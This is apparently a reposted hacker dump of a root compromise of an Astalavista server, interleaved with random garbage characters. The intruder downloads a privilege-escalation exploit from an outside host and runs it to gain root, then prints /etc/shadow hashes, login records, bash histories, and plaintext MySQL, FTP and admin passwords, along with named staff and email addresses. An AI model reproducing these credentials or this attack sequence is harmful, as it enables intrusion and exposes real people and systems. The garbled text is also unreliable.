1 Y8 b5 g2 Z0 g" d7 D
/ K/ a% f  y  S8 X& b[~] plaintext passwords? yes,
3 u2 Y2 H9 ^9 vThose so called “security professionals” who charge you $6.66 / month to
" Q6 m( l6 q) t. eregister at their hack-proof portal, save your passwords in plaintext…; s! u/ c) N6 n8 W7 \: Y" b* y% [
brilliant!
/ a; L+ @0 J" V% N
' b4 |9 G, }" Y+ v7 n% h[~] This been fun but we want more.
" r$ m; @2 Y7 l3 V6 G* e" j: v4 r$ n7 N6 F( n1 G; V7 t
sh-3.2$ uname -a% W- Z' V1 ^( j$ G" R$ V) w0 }9 T, a
Linux asta1.astalavistaserver.com 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:35:59 EDT 2009 x86_64 x86_64 x86_64 GNU/Linux% w( ?3 B7 {0 h; u7 }. I5 k& v$ b7 i
sh-3.2$ wget 链接标记[url]http://anti.sec.labs/g0troot[/url]* }/ X  ]. K5 ^
–13:33:37–  链接标记[url]http://anti.sec.labs/g0troot[/url]- y: B/ U6 Y3 ~% V8 M& f
Resolving anti.sec.labs… 13.33.33.37
  `  r9 ~  t, F5 t, dConnecting to anti.sec.labs|13.33.33.37|:80… connected.
$ z# x. d% w! {  d3 DHTTP request sent, awaiting response… 200 OK
2 X: B2 B+ g! wLength: 18200 (18K) [text/plain]
& c2 z( @7 ~- B/ p1 R! L" L8 LSaving to: `g0troot’
5 s' h+ D# l% }- T) N" F
- U4 N# o6 o! V. I: t% H  Z* d100%[=========================================================================================================================================>] 18,200      58.6K/s   in
( O, R% `; i, ~6 m0.3s
7 a" E' {, Q3 ~5 Y3 n, g6 @# m6 u$ u6 t2 q5 B
18:55:14 (58.6 KB/s) - `g0troot’ saved [18200/18200]& `& {/ C3 g( C/ i

: F0 H- e( e# V- `/ R$ w; r. m1 H, e! fsh-3.2$ ./g0troot -i x86_64; E% v7 b7 s1 F
[+] g0troot - anti.sec.labs( a4 n2 w9 C4 |9 |) \; A
[+] Target: 2.6.18-128.1.10.el51 Q  L4 v' R4 e
[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~>]
7 L% _8 f+ D3 W8 {$ Z+ u& W* B' Q/ ~* u) o5 h2 y
[+] r00tr00t
( Y2 L. n) w6 b% ^& N; F5 N[~] Executing shell…
1 ^- i1 A/ z9 \. X4 I$ N8 l# O7 H/ f! D1 {  k) i- H
sh-3.2# id' |8 e. Z; C1 @  x0 F
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)' r- @! Z' k' y2 ~0 b  E- Q9 E

- q& `+ \% Q3 Q' H) r; D: t0 Ish-3.2# cat /etc/shadow: D& B3 M2 n& m8 J- c: R. P4 L" W
root1$P/3ZMAgv$E9B4mX02s1Xrimj46V602.:14015:0:99999:7:::" @" ^0 Z% V9 z0 l* J
[snip]
7 G9 g( y' z* z' ~. D+ Gadmin1$sbycsEGo$d81laShnxFiziFaQMH32F.:13770:0:99999:7:::
% f) w8 _! ^1 W0 Sjon1$5yHxRLX.$8pZs0cQLNh5uFCK3m4st1.:13777:0:99999:7:::/ e! G% ]/ _) K- [
com1$jEZ62nri$aDTj.1REsrYePcPBdfOQz1:13780:0:99999:7:::2 y2 Z# z& B, h1 p& o1 i- V# H4 \  X
astanet1$YniJLAr.$NKtPNNGK9mcmz3/mLMSWC1:14235:0:99999:7:::5 v# Z! \1 b5 S: {$ R% h0 Y8 z
- P* M6 g& L# y/ c( [8 c
sh-3.2# cat /etc/motd
# D  N6 ?+ @- F& A/ E2 X% _5 z5 A#####################################################/ O1 Q0 a6 A3 M* ~
#____ ____ ___ ____ _    ____ _  _ _ ____ ___ ____  #
( t! ^% [. q) m6 m+ v# |__| [__   |  |__| |    |__| |  | | [__   |  |__| #
$ ^2 e: v( l  A! Z  c# |  | ___]  |  |  | |___ |  |  \/  | ___]  |  |  | #
$ V" X: u5 Q$ B: L! L4 l' M# d#                                                   #
& f! F' G3 x* I3 D) p2 P$ f  J#####################################################$ l1 N/ D) U* R$ ^
#                                                   #
8 X5 g/ O4 t% d3 z& Z+ ^. a0 U# Admin Contact - 链接标记support@secureservertech.com      #
" O1 ~% o0 [* L# E$ p% `4 y/ x/ {$ }#                                                   #4 t9 B0 F  j" T5 u, z4 T
# Available ShortCuts                               #
: W5 h4 c9 K6 w3 E# q8 p' P$ T0 H#                                                   #
# ]& t  L2 K) a: K1 X# nst -  list active connections                    #5 V- A9 P* m' |/ \: o
# ddos - shows how many times each ip is connected  #- h6 A5 y9 k- P( @% D$ G/ R
# ltr -  restart the webserver                      #' _- p3 C0 g( X$ L- ~
# phpc - edit the php config file                   #
/ G) p" R# x+ T# e/ }2 X. C# htc -  edit the webserver configuration file      #; H! f/ r, _0 @# s
# up -   uptime                                     ## s1 b6 v0 n4 t1 w. E
# etd - edit the motd of the day file               #
6 }8 V1 v% B( K& s, J7 t6 a# htr - start and restart apache if needed          #
6 ^3 C" e8 Y! t5 @# syng - shows active SYN_RECV connections          #( _; {, f+ M" R$ D
# synd - syn flood blocker - “synd -h” for usage    #
1 q* f$ i; S& P& S5 n3 c#####################################################
( i' H2 U% u$ I% \# NOTES:                                            #/ P# \0 C# M% ~, S. h+ j9 q' k
# Last Upgrade - 12-08-2008 by JF                   #
8 {# s6 k  h2 }9 O1 P5 Y+ O# My.cnf/Mysql Optimization - 1-28-09               #! W% p' f  _! U1 t
#                                                   #
& D( L; x& k/ N2 }4 g/ G#                                                   #
9 G, j4 u9 T0 V" a  U+ W#                                                   #) r8 T( b: J3 q& T7 o
#####################################################
! p$ Q' o& R& [7 F3 @* F& \% N! @  y: P. [8 T
sh-3.2# lastlog | grep -v Never$ ?8 j: f) ~$ W8 b4 N" e
Username         Port     From             Latest( p& H: ?1 z. l1 _$ Q& R0 V1 `
root             pts/1    adsl-194-162-fix Thu Jun  4 07:19:14 +0000 2009
* S. }' Y" a  S2 }4 i0 f  o9 u9 [admin            pts/1    cp.secureservert Thu Mar 20 10:25:39 +0000 2008
. Q) @  _* S5 y) zcom              pts/0    cust.static.212- Tue Jun  2 07:46:30 +0000 2009$ \, G+ j$ ]) ]5 ]. z
astanet          pts/0    adsl-194-162-fix Thu Apr 16 08:20:44 +0000 2009% S8 }5 Y0 z% V: [* @4 x/ H0 J

+ P3 {9 c0 j9 v0 B- C7 Osh-3.2# ls -la9 q) H) B7 W( A1 t( C
total 453376
# ^* v; i8 _+ S, Sdrwxr-x— 15 root root       4096 Jun  4 08:40 .0 p3 j. n' K( q9 G0 O
drwxr-xr-x 25 root root       4096 Jun  3 02:43 ..: G, o8 B6 N; j" H+ B% f2 D
-rw-r–r–  1 root root    2394400 Oct 19  2007 10mbtest.zip/ |. P8 ]2 n, |0 k9 E
-rw——-  1 root root       1006 Sep 11  2007 anaconda-ks.cfg9 M+ b4 ~% j/ t: e' z4 d
-rw——-  1 root root      16836 Jun  4 07:21 .bash_history
2 O' E+ U. F% z; u+ v! E-rw-r–r–  1 root root         24 Jan  6  2007 .bash_logout' z) k# \4 l- X5 E, U
-rw-r–r–  1 root root        191 Jan  6  2007 .bash_profile
' z' K7 W# c* B( v) m( P' H) Z-rw-r–r–  1 root root        176 Jan  6  2007 .bashrc  f+ L7 w# \& p5 o5 v" R/ e, `
-rwx——  1 root root       1899 Oct 28  2007 bk.sh$ ~: x2 t0 M; B8 z1 E0 m
-rw-r–r–  1 root root       1327 Nov 29  2007 cert2 X. Z! r  ^/ B6 ^0 @  V
-rw-r–r–  1 root root  139860821 May 14  2008 contrexxbackup_20080514.sql: X, Q$ d1 [3 {8 z' @' p- _6 `; L5 B
drwxr-xr-x  4 root root       4096 May 20  2008 .cpan
# r2 v& E/ W* Q# L6 Z+ e/ ?-rw-r–r–  1 root root        100 Jan  6  2007 .cshrc* g+ k/ l( ]1 i: o
-rw-r–r–  1 root root     323079 Mar 31 13:48 defaultp_ports.sql
& X0 t/ H. Q. I8 R' zdrwx——  2 root root       4096 Oct 28  2007 .elinks
% s% j2 f' R! @' Xdrwxr-xr-x 13 root root       4096 Mar 21  2008 gdb-6.7.1! U. A8 W* f, q8 ]; W% z3 _1 @, i9 P
-rw-r–r–  1 root root   15080950 Oct 29  2007 gdb-6.7.1.tar.bz2
5 `! J( o. e4 ^2 Y-rw——-  1 root root          0 Apr 16 13:19 .history- h6 H7 g0 v6 b1 D; E. x
-rw-r–r–  1 root root      16095 Sep 11  2007 install.log
* M. r/ {  j+ L' I-rw-r–r–  1 root root       2566 Sep 11  2007 install.log.syslog# D& M9 U, I( F/ q& \8 l
-rw-r–r–  1 root root       1003 Jul 22  2007 install.sh% p5 O( c! b5 T+ h
-rw——-  1 root root         35 Jun  2 14:23 .lesshst
' V) U. S5 h7 W1 b4 l# m4 E& xdrwxr-xr-x  2 root root       4096 Dec 29  2007 .lftp
% i, ^5 l5 Z# ~7 mdrwxr-xr-x 10 root root       4096 Sep 14  2007 linux-2.6.19.2-grsec9 H7 i6 n- H3 p% f
-rw-r–r–  1 root root   94979336 Feb 16  2007 linux-2.6.19.2-grsec.tar.gz9 h6 z. A) N3 X
-rw-r–r–  1 root root    4737058 Sep 22  2007 linux-2.6.22.tar.bz2
1 G* {9 l7 L' D  r, H& d, E9 @-rwx——  1 root root        760 Sep 18  2008 lp
3 N3 l1 @$ H! g6 N3 l7 c- f* W  odrwxr-xr-x 12 root root       4096 Nov 30  2007 lsws-3.3.1& L, d7 o6 D% O3 Z& N7 R
-rw-r–r–  1 root root    2480045 Nov 30  2007 lsws-3.3.1-ent-x86_64-linux.tar.gz  u% K7 W& ~9 w& V
-rw-r–r–  1 root root    6388501 Nov 29  2007 lsws-3.3.1-ent-x86_64-linux.tar.gz.1
: i( j+ Y# n% Q2 b/ J* Idrwxr-xr-x 12 root root       4096 Mar 21  2008 lsws-3.3.9
* K. p' {5 q# G2 w# O- P9 E; W-rw-r–r–  1 root root    6437577 Mar 21  2008 lsws-3.3.9-ent-x86_64-linux.tar.gz
- w' S' M  i  ?4 {5 q0 {3 i. Q4 Rdrwxr-xr-x 12 root root       4096 May 29 15:10 lsws-4.0.3* V0 d" O7 h1 o. [4 Z: [0 [+ c
-rw-r–r–  1 root root    6496050 May  8 05:59 lsws-4.0.3-ent-x86_64-linux.tar.gz
5 N9 L( z5 M* J+ j2 w0 B! N1 d-rw-r–r–  1 root root      25316 Feb 15  2006 mybk.sh
/ p" C8 h0 m: T* |9 s4 E+ O% J-rw——-  1 root root         41 Oct 19  2007 .my.cnf
1 V3 d% R, V: v( o0 B$ m/ @- f-rw——-  1 root root       2902 Jun  4 08:40 .mysql_history
  S$ {; H9 R+ }0 ]! o5 V4 K9 [-rwx——  1 root root      38873 Apr 16  2008 mysqlreport
5 v& R5 m3 h* n$ K: ]: B# Z" E-rw——-  1 root root         41 May 20  2008 .mytop& V) I0 n" a! a6 U3 h) W, E: q) m
drwxr-xr-x  3 1000  1000      4096 May 20  2008 mytop-1.6, f% Z+ L. A; c% {/ p2 n5 {% d
-rw-r–r–  1 root root      19720 Feb 17  2007 mytop-1.6.tar.gz
. {0 g2 u4 r0 x) Idrwxr-xr-x  2 root root       4096 Oct 28  2007 .ncftp
* z! P9 s( o0 \* H-rw——-  1 root root       1462 Sep 21  2007 opt.php" R4 J, X- \( A# j
-rw-r–r–  1 root root       3371 Sep 22  2007 p' f, T" c- J: ?  l, S  N5 d
-rw-r–r–  1 root root    7608429 Aug 30  2007 php-5.2.4.tar.bz2- @7 d1 U/ b8 B6 p) E
-rw——-  1 root root       1024 Feb  3 21:32 .rnd
2 D' @# i( c& U-rw-r–r–  1 root root        716 Nov 28  2007 server.csr* ^" j. Z  n6 ?. A0 E3 c
-rw-r–r–  1 root root        887 Nov 28  2007 server.key
$ e5 [! [' [" n; ~  |5 L4 G' U4 sdrwx——  2 root root       4096 Oct 10  2008 .ssh
$ I; A1 c3 j: y1 S" K-rw-r–r–  1 root root      44227 Oct 28  2007 tar-inc-backup.dat
1 X! t$ P, P7 T-rw-r–r–  1 root root        129 Jan  6  2007 .tcshrc
2 D9 W) i/ f& p$ O- Y( e-rw-r–r–  1 root root  104874307 Oct 17  2007 test100.zip
* R+ B8 @% e+ m- i: T-rw-r–r–  1 root root   67085540 Oct 19  2007 test100.zip.1$ z! h8 n6 z+ p! r/ p
drwxr-xr-x  2 root root       4096 Apr 29 11:15 tmp* f3 U$ ]9 B! O1 L+ [$ j1 `
-rw-r–r–  1 root root      42596 May 21  2007 tuning-primer.sh
, D2 w/ d2 y5 A8 z" L2 gdrwxrwxrwx 19 1000 users      4096 Mar 21  2008 valgrind-3.3.0% \- G4 s; P1 C0 m* }# I5 R
-rw-r–r–  1 root root    4519551 Dec 11  2007 valgrind-3.3.0.tar.bz2
# S5 s$ H- ]. a6 [-rw——-  1 root root      12997 May 16  2008 .viminfo( {5 t6 ^0 H  l1 M
% z. ]) d1 j" J" t* g
sh-3.2# cat .bash_history
1 X+ c8 P2 U& |9 d, O! _[snip]
2 v, z6 z7 B) C* P# B3 ~! ?wget cp4sst.com/sstlinux.tar.gz
% m; @: t4 s) Btar zxvf sstlinux.tar.gz
7 a/ m% a1 h- C! |cd linux-2.6.27.105 U  d; y( K1 o- D
sh install.sh! z% |& ?2 d3 V- d; B9 J/ S% _( v
make bzImage ; make modules ; make modules_install ; make install& ]0 F* o3 q; Q: Y1 z
make clean) a( e" s) M: z  c+ p1 x4 N
service mysqld restart
0 P' D' P4 w' D2 H; J4 q( i5 e[snip]
! L$ S4 o# M$ y7 p% h& J7 Ycd /usr/sbin/
* y( [' T' f- Fchmod 4777 traceroute
2 Z  j9 X' H6 B9 f" Kchmod 4777 ping
& }3 `1 |6 P, J. ?5 Ztraceroute -I 链接标记[url]www.astalavista.ch[/url]
4 Z$ i% p4 A+ M( j[snip]! }$ {6 b# i: [/ Y" [. J
vi /etc/csf/csf.conf* |$ a$ C! z$ \
traceroute google.ch- }0 {- M6 i; q. Y# S
service csf restart
) G2 s, H' M, c; G' atracert google.ch
. d" |) M, o8 u! b, aservice csf restart
& n* V0 y% ^, r" r- Htraceroute 链接标记[url]www.google.ch[/url]
' i9 r/ n3 t% Atracert 链接标记[url]www.google.ch[/url]7 |# @" s5 p) V, w
traceroute 链接标记[url]www.google.ch[/url]7 F  z! `2 J- S
locate traceroute
3 J' ]% F) u  W; Ichown 4755 /bin/traceroute2 C5 e) d$ t' B) X: t! \& f7 \
chown 4777 /bin/traceroute; M. C5 {% m; S
locate ping
5 Q: |( M7 L6 Z2 ^chown 4755 /bin/ping7 r; [( G, k6 i+ E7 t; R
chown 4777 /bin/ping
6 \5 L. M* n4 S& pcd /bin/
7 k8 ?# g6 K' L/ \2 u: ~3 F( Fls -ali | grep ping
7 {2 h: G7 ~3 g, ~chown root ping
  M% w6 _8 M! X) S  A  [; d% kchmod 4755 ping# I9 _3 P/ b% g' E7 V. l
ls -ali | grep traceroute7 e7 ^! x# E( }# F; x  i' U
chown root traceroute
7 P; R) m4 V0 j& V$ Echmod 4755 traceroute
, F- ?8 V+ ]* ^- G( }1 t" e$ T. vls -ali | grep traceroute
) L' p( I/ w7 H! J+ dtraceroute -I 链接标记[url]www.google.ch[/url]- F* X# {  t  J% w; y& L' T( c
traceroute 链接标记[url]www.google.ch[/url]. m. ]+ f3 E+ @4 B( F( p+ D* @
whois pmsantos.ch
9 b, T% r% p" c6 g% `& e[snip]$ k1 T) |  T5 {% B" v  x
mysql -h com_contrexx2_live < /root/defaultp_ports.sql
: \7 a% e& E" Emysql -h -ucontrexxuser2 -p0fEYNZgXz1pKe com_contrexx2_live < /root/defaultp_ports.sql* n+ F" l# E, N: I1 Q7 Z
mysql -h -u contrexxuser2 -p com_contrexx2_live < /root/defaultp_ports.sql$ B( l* k, D$ b
mysql -h localhost com_contrexx2_live < /root/defaultp_ports.sql  W6 i4 o- n' k/ E+ S$ y7 y
top
' ]3 I, @0 B. R8 l- f( g2 }ping ssth.ch
3 r4 e2 \: }$ L  ~ping asdlkfaljgasd???ljg???lasj.ch" P# F  V' ~- M/ ]. m
ping asdlkfaljgasdlasj.ch
) c/ i- _. |( P; sping 链接标记[url]www.ssth.ch[/url], e' J3 O' W. \* ]6 y
ping ssth.ch
4 Q: @; H! B) z- k8 n0 C! Inslookup 链接标记[url]www.google.ch[/url]
0 Z# [$ u' }+ F8 e, X. hnslookup 链接标记[url]www.ssth.ch[/url]
9 u3 h5 O, E" ]man nslookup5 h1 V" e+ D/ z0 _6 G: G, E3 w
ping 链接标记[url]www.google.ch[/url]' \) T& K; Y/ T+ Y  k; s
nslookup 链接标记[url]www.google.ch[/url]5 K  I* L, z7 o& B" j9 r' k4 w  F
nslookup 链接标记[url]www.google.ch[/url]
0 q  A! x0 e+ j6 x* U! m6 ?nslookup salfjasdlf.ch9 W- c+ f8 U- I2 ^* O
[snip]
/ k) T" T. r9 f- R" k" u+ c  y3 vopenssl passwd -1 sadf
1 A- `% D4 w7 _: q# B# |openssl passwd -1 5cZNHstdTy
( v) e/ D8 i6 K  w2 dmysql
8 N& Z5 B# f# V$ ?$ Ymysql  ^" [- {7 `# W) {. d3 l7 {0 @
locate proftp
* P$ ?" U8 b& X2 p9 E; n* Cvi /etc/proftpd.passwd
' p5 H$ u  A6 l# U9 nservice proftpd restart
* x' M3 |. V( A& g  i8 m: c4 L) D/ olocate proftpd.conf
& Q! I' I2 m3 }' ivi /etc/proftpd.conf
5 m6 U& |4 t) A: Y8 Q$ Z9 [vi /etc/proftpd.passwd5 H8 k+ i! Z2 p  Q. B
service proftpd restart
+ k- ^7 b; v  ^" _" l  Y6 o. t[snip]
8 L" R3 |6 @! @, p- G/ i0 N/bin/sh /home/com/backup_system/backup.sh
: p. o; H0 d3 l: Btar cfv /home/com/backups/09-04-28_backup.tar /home/com/public_html/admin
) p3 |% y4 ^$ x3 Xmysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2_live > 09-04-29-com_contrexx2_live-full.sql
4 F6 S9 c; r$ I2 imysqldump -h localhost -u contrexxuser2 –password=0fEYNZgXz1pKe com_contrexx2 > 09-04-29-com_contrexx2-full.sql
% ~7 [+ w$ S9 Els -ali
' i0 d4 }9 [& w* @2 @2 s9 Hmysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS com_contrexx > 07-04-29-com_contrexx-full.sql* i' {7 j9 O( A7 V
mysqldump -h localhost -u com_user1 –password=Undv7gu29gvb5ikhS ideapool > 07-04-29-ideapool-full.sql
4 v% L; a5 [" s! [2 Fcrontab -l
8 F# y' x5 ]. Gcrontab -l
- E- k* k, T+ V( M/ ephp -q /home/com/public_html/modifications/cronjobs/securitynews.php
0 I5 h% B# [6 L3 a/home/com/public_html/modifications/cronjobs/exploits.sh
* v& r8 D. o- zwget 链接标记[url]http://www.litespeedtech.com/pac ... x86_64-linux.tar.gz[/url]
" s  s9 }# P) |( Z" s" e+ ztar zxvf lsws-4.0.3-ent-x86_64-linux.tar.gz
  |+ I- _' S$ A, |7 ucd lsws-4.0.3
  |9 w8 [, W& S- Y, Jsh install.sh
: H/ V" N$ @7 [, Muptime
2 _* L: X6 H) @6 |hdparm -tt /dev/sda
& X8 R2 T" I4 N0 _: g+ ~6 {8 f' B) ?iostat
$ `) |7 |2 b5 l% @5 Byum install iostat( z' U; u& X7 @0 a5 k4 i
iostat
& r" T1 p) Q" [7 M. Q5 N. z1 \  Ywhereis iostat( P' [8 B' j3 K% n- G2 T
yjm clean all
" a' f+ W0 Z* `$ E7 A* {yum clean all ; yum -y update+ d8 ]5 K6 i3 a* e) }, g
iostat
( U% n$ G* I' Y# Cyum install systat+ d2 Y  ?( w, d; X0 R
rpm -qa | grep iostat
! K4 H5 [3 U0 C+ w7 {/ grpm -qa | grep sysstat" z4 R! _3 b$ \) T
rpm -qa | grep systat( P* M# \  B, k5 L4 ^
dmesg -c
. f1 i7 o8 a6 F, n& T- k) tsysctl -p
( p# U! R& T+ F  f7 G3 |% Nuname -r/ }1 X: E$ M* h2 v+ C3 B' P
cd /usr/src& X* B5 Q/ K# Z$ j5 @' |
wget nix101.com/kernels/sstlinux.tar.gz
1 u: Y  Q4 [& f* P( Wshutdown -r now
# V6 G1 _, B! M# y& Xnano -w /boot/grub/grub.conf
( T  a" _4 ?7 T" _0 Q( R' V3 _  Q: _3 A' X
sh-3.2# cat .my.cnf( j' q& n0 Y. y5 n+ C. ]# H
[client]
7 u& Y) Q  T  V4 _user=da_admin
8 `4 l, `! D0 B& L. R: qpassword=X9dctmRH) k: S6 H' t* T' |: @" i) p
7 ?6 k+ D4 i1 U2 o6 `3 `
sh-3.2# cat /home/com/backup_system/backup.sh8 m  n2 e* @6 o8 _
#!/bin/sh
) I+ d+ D* Z- j" ~#####################################################################
+ h! ~! b, |) U#                                                                   #
/ s2 n7 y7 ?; M* w( X0 f#   incremental backup for astalavista.com                          #
: a; H# V" b6 F2 m3 C#                                                                   #! k4 Q. g4 z2 l  U6 |5 z
#   author:    Paulo M. Santos <链接标记paulo.santos@astalavista.com>       #
5 A  N0 b0 `% k; j#                                                                   #
8 F7 u' m5 W4 E: h#####################################################################
4 w. E; W. n& s; x7 F% o[snip]
5 z; U  ]/ U; g8 {1 a6 f" q6 xPROG_DIR=”/home/com/backup_system”;
9 h1 E- ~( ^2 L- H. J# K: ~  EBACKUP_DIR=”/home/com/backups”;
& M+ `( f3 I; P+ w( r2 ~DOBACKUP_FROM=”/home/com/domains/astalavista.com/public_html”;
. G- @! D* B' l8 x/ L3 ~0 X# ftp for synology backup server3 l' Y' X$ ~* c. R# z+ [
FTP_HOST=”212.254.194.163″;
' W+ `3 c& y6 l" A/ a- r- WFTP_PORT=”21″;' o1 j1 e+ t2 W! u$ z
FTP_USER=”astalavista.com”;
3 I6 m# V# P% m! n& x  vFTP_PASS=”yWHOJbzpWTWC6Xrmg1WnfBk5V”;  L* w  R, j9 t, I# u  ^
FTP_DIR=”/astalavista.com”;
- g2 ^8 t8 `# l/ _% p7 H# database
4 j5 {" k+ W7 q4 r% JDB_HOST=”localhost”;
/ h3 N7 Z4 ^$ [: A& O- |% UDB_USER=”contrexxuser2″;5 s8 B6 _% n) `- D5 U' _
DB_PASS=”0fEYNZgXz1pKe”;$ Z" H, h8 L$ t! v
DB_DATABASE1=”com_contrexx2_live”;
/ @% O8 p7 \$ n( uDB_DATABASE2=”com_contrexx2″;
/ E$ c/ |* b: U9 A" W6 p  V[snip]: G- h# a+ T3 i3 e0 t3 V. h
ftp -in $FTP_HOST $FTP_PORT <<EOF0 T% \5 y* f3 y, k% Z( k3 X' v
quote USER $FTP_USER
- n  g( ~$ a4 Q; \+ R5 h% Y- U4 }quote PASS $FTP_PASS
( h, y5 u, b3 _* Qcd $FTP_DIR
8 ]. n' r/ v( U% x2 I1 [. F% Eput $DB_FULLNAME-SQL_Dump.tar
* ^3 C8 ~4 W1 Nput $BACKUP_FULLNAME-Public_HTML.tar
5 ]; O4 I& _9 l, |) E$ g. bclose
" h  b2 a; k. Z9 I% V" ybye
( [' E/ u6 k* M$ I& A: sEOF# R, D1 B- `2 I/ w2 i- V9 l

4 r. u: p" l$ _# ^2 R" [sh-3.2# cd /home
4 q: H* O  q- `" \sh-3.2# ls -la3 @$ |6 |$ Y; J) T- D' B/ ~; o
total 120& H+ `5 F7 _( X5 g& H; ]# b
drwxr-xr-x 14 root    root     4096 Mar 11 17:56 .2 f: I6 {& s5 `* \- ^
drwxr-xr-x 25 root    root     4096 Jun  3 02:43 ..9 e2 P  j% z0 w5 x" [2 J& L
drwx–x–x  9 admin   admin    4096 Nov 28  2007 admin* j2 _( z9 c5 J# A8 ]3 {2 q4 Y
-rw——-  1 root    root     8192 Jun  4 03:03 aquota.group1 A6 t: W/ J2 |  b- L3 [- ~
-rw——-  1 root    root     8192 Jun  3 02:45 aquota.user6 j# @* E8 _$ D4 c7 D9 I# ]
drwx–x–x  6 astanet astanet  4096 Jun  4 09:51 astanet8 Z9 Y; U$ Z$ I5 g1 V
drwxr-xr-x  2 root    root     4096 Jul 29  2008 backup- }: v$ d# l' u5 Y3 r3 v
drwxr-xr-x  2 root    root     4096 Sep 17  2008 backup.141619 i3 M2 x+ P3 W: p) b( e
drwx–x–x 10 com     com      4096 Apr 28 12:40 com
5 j) T# a7 o: e6 U/ Tdrwxr-xr-x  2 root    root     4096 May 17  2007 ftp+ }' A9 \6 M& q( A8 T! C
drwx——  3 jon     jon      4096 Sep 21  2007 jon1 {, X) L6 v3 Z
drwx——  2 root    root    16384 Sep 11  2007 lost+found
4 \9 `  e/ @- I; Y7 w% ?drwxr-xr-x  2 root    root     4096 Sep 14  2007 my% a. {' |1 j: F) t
drwxr-xr-x  5 mysql   mysql    4096 Sep 24  2007 mysqldata
) u5 H0 P- K# Cdrwx——  2 jon     jon      4096 Sep 15  2007 test! S6 o* s3 G$ |, O
drwxrwxrwt  2 root    root     4096 Jul 29  2008 tmp
' v6 k3 q5 M$ d# ^' [% S* M# J- Q, C0 M
sh-3.2# cd admin- h4 h9 W' M7 w5 S
sh-3.2# ls -la7 {. T4 x5 j  |: z( u
total 1735896
/ v+ M1 r1 q) I- T+ Cdrwx–x–x  9 admin admin       4096 Nov 28  2007 .
# @4 ~. u4 m$ w# Vdrwxr-xr-x 14 root  root        4096 Mar 11 17:56 ..; r% S, e2 }# l
drwxrwxr-x  2 admin admin       4096 Oct 25  2007 admin_backups# H# {3 x: \" T- n
drwx——  2 admin admin       4096 Sep 28  2007 backups( M/ e9 I* Z7 [1 Q
-rw——-  1 admin admin        860 Sep 17  2008 .bash_history2 ^$ M. H% j. B! @
-rw-r–r–  1 admin admin         24 Sep 14  2007 .bash_logout
" M, e2 _# A' N. v& r-rw-r–r–  1 admin admin        176 Sep 14  2007 .bash_profile1 G# v3 \* O% Y" K8 o8 d0 E
-rw-r–r–  1 admin admin        124 Sep 14  2007 .bashrc7 w4 ~! F5 l( Q7 Z% e% a  t9 ~
drwxr-xr-x  2 root  root        4096 Sep 28  2007 com_backups% m2 _1 e3 L" R* L' _+ {5 v5 Y
drwx–x–x  6 admin admin       4096 Sep 21  2007 domains: R- W5 K4 @: H3 Z2 I
drwxrwx—  3 admin mail        4096 Sep 21  2007 imap
3 x1 D; {# M& V1 ^2 |- k. @' s1 K( p-rw-r–r–  1 root  root          24 Sep 21  2007 info.php
8 U. @- O7 ~9 g" v' Tdrwx——  2 admin admin       4096 Sep 21  2007 mail+ X0 O* t2 M- k  r0 y9 Q
-rw-r–r–  1 root  root         716 Nov 28  2007 server.csr
$ m$ I5 a3 ]+ j3 A7 Y-rw-r–r–  1 root  root         887 Nov 28  2007 server.key
8 O5 z2 D1 j! {2 v-rw-r—–  1 admin mail          34 Sep 14  2007 .shadow
# n5 T/ P. Y- I% k-rw-r—–  1 admin com   1775711054 Oct 25  2007 user.admin.com.tar.gz
. Y3 I- e8 D7 \& Ydrwx–x–x  2 admin admin       4096 Jul 29  2008 user_backups
" ?% t5 `8 W# Z5 o% o- m( v  u. \: [( v, K8 U# ]
sh-3.2# ..
: m: K5 o# y( q% ~1 i% Fsh-3.2# cd jon
7 X5 R2 i# z5 dsh-3.2# ls -la
2 K' I3 |$ v% B$ N6 B. X9 gtotal 364 a  p% ?2 ]2 B+ z. ?' K
drwx——  3 jon  jon  4096 Sep 21  2007 .& Z2 F6 J+ n1 f  K
drwxr-xr-x 14 root root 4096 Mar 11 17:56 ..9 U% p( k3 x9 ^$ U
-rw——-  1 jon  jon    53 Sep 21  2007 .bash_history# A2 W/ g% l8 c. |" g1 W
-rw-r–r–  1 jon  jon    24 Sep 21  2007 .bash_logout
+ Z# l8 z1 O# e; P9 S4 }* e-rw-r–r–  1 jon  jon   176 Sep 21  2007 .bash_profile
0 G- i# C# X. v3 {  I- A-rw-r–r–  1 jon  jon   124 Sep 21  2007 .bashrc
# @  z, k, b) Z" ?3 j; G  O-rw-r–r–  1 root root   24 Sep 21  2007 info.php! c6 B( B0 l! ?0 [* N& K
drwxrwxr-x  2 jon  jon  4096 Sep 21  2007 public_html( [- i1 |% l' s2 G9 _% a
6 ?, A  C& j- m$ B; j- }6 w
sh-3.2# cd ..4 t" E; X+ d4 A  i  J& i" D5 F
sh-3.2# cd test
( W3 k% o* B! _% @sh-3.2# ls -la
, s  K) h/ q3 a. h5 p2 o9 jtotal 48
! A9 A& A3 g3 d* p# l- [+ q1 ~# gdrwx——  2 jon  jon  4096 Sep 15  2007 .
3 h& B1 ^  e5 W' }" T9 {9 Idrwxr-xr-x 14 root root 4096 Mar 11 17:56 ..; @- o+ y4 |, E( X' W
-rw——-  1 jon  jon    79 Sep 21  2007 .bash_history
% _, d+ {' h7 g- Y( d+ B( y; a4 I-rw-r–r–  1 jon  jon    24 Sep 15  2007 .bash_logout
# H! N! s' b5 T9 O- @( T-rw-r–r–  1 jon  jon   176 Sep 15  2007 .bash_profile( b+ I* _6 \# t$ s6 m
-rw-r–r–  1 jon  jon   124 Sep 15  2007 .bashrc
7 H% ~. s# n. xsh-3.2# cat .bash_history
. n6 v# x' x7 W$ \% o% H6 H/usr/bin/mysqladmin -u root password PoliuJhytg67
# l4 h6 G5 D& C/ }1 H4 J& [: p9 y1 n, J0 y) M1 p/ U
sh-3.2# cd ..
2 k! Y2 G1 W5 D4 n0 N( W" [9 ush-3.2# cd astanet3 B' F8 i8 K; N2 \
sh-3.2# ls -la5 Z) I; {. q5 {
total 522 ]$ V9 k$ N1 q) c
drwx–x–x  6 astanet astanet 4096 Jun  4 09:51 .
; |6 R) H: D: m* L0 P9 V9 Wdrwxr-xr-x 14 root    root    4096 Mar 11 17:56 .., ?- k, E/ u# v" [9 x  Q" ?" f# z
